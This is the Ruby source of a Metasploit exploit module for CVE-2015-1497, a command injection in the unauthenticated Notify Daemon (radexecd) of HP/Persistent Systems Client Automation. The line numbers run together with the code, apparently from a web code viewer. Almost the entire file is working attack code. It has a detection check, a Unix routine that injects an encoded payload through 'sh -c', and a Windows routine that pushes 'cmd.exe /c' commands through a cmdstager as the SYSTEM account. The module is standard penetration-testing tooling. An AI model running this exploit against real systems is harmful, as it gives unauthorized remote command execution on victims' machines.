Path: blob/master/modules/exploits/multi/misc/persistent_hpca_radexec_exec.rb
19812 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::CmdStager1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'HP Client Automation Command Injection',16'Description' => %q{17This module exploits a command injection vulnerability on HP Client Automation, distributed18actually as Persistent Systems Client Automation. The vulnerability exists in the Notify19Daemon (radexecd.exe), which doesn't authenticate execution requests by default.2021This module has been tested successfully on HP Client Automation 9.00 on Windows 2003 SP222and CentOS 5.23},24'Author' => [25'Ben Turner', # Vulnerability discovery26'juan vazquez' # Metasploit module27],28'References' => [29['CVE', '2015-1497'],30['ZDI', '15-038'],31['URL', 'https://radiasupport.accelerite.com/hc/en-us/articles/203659814-Accelerite-releases-solutions-and-best-practices-to-enhance-the-security-for-RBAC-and-Remote-Notify-features']32],33'Privileged' => true,34'Platform' => %w{unix win},35'DefaultOptions' => {36'WfsDelay' => 1037},38'Payload' => { 'DisableNops' => true },39'Targets' => [40[41'HP Client Automation 9.0.0 / Linux',42{43'Platform' => 'unix',44'Arch' => ARCH_CMD,45'Payload' =>46{47'Space' => 466,48'EncoderType' => Msf::Encoder::Type::CmdPosixPerl,49'Compat' =>50{51'PayloadType' => 'cmd',52'RequiredCmd' => 'openssl telnet generic gawk'53},54'BadChars' => "\x27"55}56}57],58[59'HP Client Automation 9.0.0 / Windows',60{61'Platform' => 'win',62'Arch' => ARCH_X8663}64]65],66'DefaultTarget' => 0,67'DisclosureDate' => '2014-01-02',68'Notes' => {69'Reliability' => UNKNOWN_RELIABILITY,70'Stability' => UNKNOWN_STABILITY,71'SideEffects' => UNKNOWN_SIDE_EFFECTS72}73)74)7576register_options(77[78Opt::RPORT(3465)79]80)8182deregister_options('CMDSTAGER::FLAVOR')83deregister_options('CMDSTAGER::DECODER')84end8586def check87connect88sock.put("\x00") # port89sock.put("#{rand_text_alphanumeric(4 + rand(3))}\x00") # user ID90sock.put("#{rand_text_alpha(4 + rand(3))}\x00") # password91sock.put("hide\x00") # command92res = sock.get_once93disconnect9495if res && res.unpack('C')[0] == 096return Exploit::CheckCode::Detected97end9899Exploit::CheckCode::Safe100end101102def exploit103case target['Platform']104when 'win'105print_status('Exploiting Windows target...')106execute_cmdstager({ :flavor => :vbs, :linemax => 290 })107when 'unix'108print_status('Exploiting Linux target...')109exploit_unix110else111fail_with(Failure::NoTarget, 'Invalid target')112end113end114115def exploit_unix116connect117sock.put("\x00") # port118sock.put("0\x00") # user ID119sock.put("#{rand_text_alpha(4 + rand(3))}\x00") # password120sock.put("hide hide\x09sh -c '#{payload.encoded.gsub(/\\/, "\\\\\\\\")}'\x00") # command, here commands can be injected121disconnect122end123124def execute_command(cmd, opts = {})125connect126sock.put("\x00") # port127sock.put("S-1-5-18\x00") # user ID128sock.put("#{rand_text_alpha(4 + rand(3))}\x00") # password129sock.put("hide hide\"\x09\"cmd.exe /c #{cmd}&\"\x00") # command, here commands can be injected130res = sock.get_once131disconnect132unless res && res.unpack('C')[0] == 0133fail_with(Failure::Unknown, "Something failed executing the stager...")134end135end136end137138139